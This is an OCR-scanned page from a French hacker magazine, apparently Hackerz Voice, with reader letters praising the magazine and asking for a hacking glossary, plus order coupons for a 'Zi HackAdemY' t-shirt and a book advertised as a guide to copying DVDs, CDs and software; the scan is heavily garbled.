bulaire qui n'est évidemment pas dans mon super dico Larousse de 1996 ! En fait, je voudrais vous demander s'il était pas possible de
faire un lexique avec - pas tous mais une partie - des mots "compliqués” de I'informatique et du hacking comme "root" ou des mots
comme ¢a. Yous pourriez le mettre en complément d'un manuel ou le commercialiser a part. Mais bon, ¢'est juste une idée, d'autant plus
qu'il n'y a siirement pas que moi dans ce c4s 12. Bon, je vais pas monopoliser les temps de travail de la rédaction donc je m'arréte 1a,

P.5: pourquoi vous dites Vindaube, Windaube et puis des fois tout simplement Windows ? Bof, laissez tomber...

Raskah
Menrciiiiiin !
salut I'equipe d'HZV ; i
je voulais simplement vous dire que je trouve votre magazine super cool, agreable a lire, assez familial. Les personnes qui vous traites
de copieurs et toutes les autres noms...font ca parce qu'il sont jaloux du succes de votre mag, ce qui differencie votre mag ¢ est que
vous c"esl pas un mag purement commerciale contrairement a certain dont je ne siterai pas le nom mais il est instructif autant pour
nous les lecteurs que pour les entreprises ayant d'enormes failles! Je suis impressioné par le boulot de FoZzy qui a besoin de beaucoup

de soutien ( pas que lui d'ailleurs ) En tout cas bonne continuation. je pense que vous etes dans la bonne voie!!!
Onse revoit dans le prochain numero !!! '

Tommy

A e sur, ya vien a dire la, Fozzy a besoin de bep de soutien, pourleveste 1)) )))))
Respect pour tout le monde. G
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”L’hacktion-shirt Zi HackAdemY”

By Hackerz Voice
We need You, en achetant ce tee shirt vous contribuez
au developpement de la premiere Hack school frangaise

- anonymous guest -

Je'commande a N e o b estinas PRGN O M s i s Signature 15
fata [ T T B S o e e O
Gode ol ke I e s i s

3 "Zi HackAdemY" 1"Zi Ha_ckAdemY”

D par cheque & l'ordre de DMP, 26 bis, Rue Jeanne d'Arc, 94160 Saint-Mandé Taille XL KXL

["] par Carte Bleve

Expire en ’ /
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TOUT GIIPIEH, le livre fue vous attendiez,

sera dispo fin mars

Vous pouvez le commander mainte-
PR 55 s CRGEISS nant avec le coupon ci-dessous ou
sur www.dmpfrance.com a des
conditions préférentielles: 17 €
(+3,3 € de frais de port) au lieu de
27,9 € prix public.

250 pages
de piraterie pure
La Pieuvre Noire éditions

(D-DVD- CDIIOM EW[OGICIEU

Toutes les infos sur

www.dmpfrance.com
Enfin le Tode d emploi ’
- I =
our fouf copier Facil 10 € d'economie pour les lecteurs
, L]
' Hackerz Voice
Je commande T, S— RGN0 biisssssiasssnssns Signature MO
I A\ CITOBOE - ...vcuicsinsssissssismsisroomsssibiomsmnesasininssinss
Code postal :............ || T VN -
nombre d’exemplaires ; /_meMENT \ 20,3 € (frais de
[] par chéque a l'ordre de La Pieuvre Noire, 26 bis, Rue Jeanne d'Arc, port Incius), soit
94160 Saint-Mandé 10 € d’économie
[[] par carte Bleue
@re en / I /
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